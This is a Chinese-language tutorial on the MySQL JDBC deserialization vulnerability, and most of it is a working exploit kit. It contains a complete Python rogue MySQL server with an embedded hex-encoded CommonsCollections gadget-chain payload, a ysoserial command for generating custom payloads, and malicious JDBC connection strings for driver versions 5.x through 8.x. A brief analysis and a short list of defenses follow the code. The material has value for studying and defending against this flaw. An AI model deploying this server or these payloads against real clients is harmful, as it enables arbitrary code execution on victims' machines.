MySQL JDBC 反序列化漏洞分析与利用

漏洞概述

MySQL JDBC 驱动在特定配置下存在反序列化漏洞，攻击者可以通过构造恶意的 MySQL 服务器响应，在客户端触发 Java 反序列化漏洞，导致任意代码执行。

漏洞环境搭建

所需环境

• Python (用于伪造恶意 MySQL 服务器)
• Java 8 (运行漏洞利用代码)
• MySQL JDBC 驱动 8.0.19
• Commons Collections 3.2.1 (用于反序列化利用链)

Maven 依赖配置

<dependencies>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.19</version>
    </dependency>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

漏洞利用代码

存在漏洞的 Java 代码

import java.sql.*;

public class Main {
    public static void main(String[] args) throws Exception {
        String ClassName = "com.mysql.jdbc.Driver";
        String JDBC_Url = "jdbc:mysql://127.0.0.1:3306/test?" +
                          "autoDeserialize=true" +
                          "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        String username = "root";
        String password = "root";
        
        Class.forName(ClassName);
        Connection connection = DriverManager.getConnection(JDBC_Url, username, password);
    }
}

关键参数说明：

• autoDeserialize=true：启用自动反序列化
• queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor：设置查询拦截器

恶意 MySQL 服务器实现

Python 伪造服务器代码

import socket
import binascii
import os

greeting_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data = "0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn, data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    # 使用ysoserial生成的payload文件
    file = r'ser.bin'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()), encoding='utf-8')
            print("open successs")
    else:
        print("open false")
        # 默认payload (calc)
        payload_content = 'aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

def run():
    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0], addr[1]))
        
        # 1.发送问候报文
        send_data(conn, greeting_data)
        
        while True:
            # 登录认证过程模拟
            receive_data(conn)
            send_data(conn, response_ok_data)
            
            # 其他过程
            data = receive_data(conn)
            
            # 查询配置信息
            if "session.auto_increment_increment" in data:
                _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                
                # 获取payload
                payload_content = get_payload_content()
                
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x','').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x','').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                
                mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
                break

if __name__ == '__main__':
    HOST = '0.0.0.0'
    PORT = 3306
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)
    print("start fake mysql server listening on {}:{}".format(HOST, PORT))
    run()

生成反序列化 payload

使用 ysoserial 工具生成恶意序列化数据：

java -jar ysoserial.jar CommonsCollections6 calc.exe > ser.bin

漏洞分析

漏洞触发流程

1. JDBC 连接 MySQL 服务器时，会主动执行 SQL 查询
2. 当处理大字符串时，JDBC 会进行反序列化操作
3. 如果 MySQL 服务器返回恶意构造的数据，就会触发反序列化漏洞

关键代码分析

1. 反序列化点：位于 com.mysql.cj.jdbc.result.ResultSetImpl 类的 readObject 方法
2. 调用链：
   • ServerStatusDiffInterceptor.preProcess() 方法
   • 最终调用到 ResultSetImpl.getObject() 方法中的反序列化操作

漏洞原理

当 JDBC 首次连接 MySQL 服务器时，会主动使用 SQL 查询。而 JDBC 在处理大字符串时会进行反序列化。如果 MySQL 服务器返回恶意数据，就会导致恶意数据被反序列化，从而执行任意代码。

不同版本的利用方式

MySQL JDBC 5.x

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

MySQL JDBC 6.x

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

MySQL JDBC 8.x

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

防御措施

1. 升级 MySQL JDBC 驱动到最新版本
2. 避免使用 autoDeserialize=true 参数
3. 限制 JDBC 连接字符串中的参数，只允许必要的参数
4. 使用网络隔离，限制应用服务器只能连接可信的 MySQL 服务器

总结

MySQL JDBC 反序列化漏洞是一个严重的远程代码执行漏洞，攻击者可以通过构造恶意的 MySQL 服务器响应，在客户端触发反序列化操作。该漏洞影响多个版本的 MySQL JDBC 驱动，利用方式因版本不同而有所差异。开发者应及时升级驱动版本，并避免使用危险参数配置。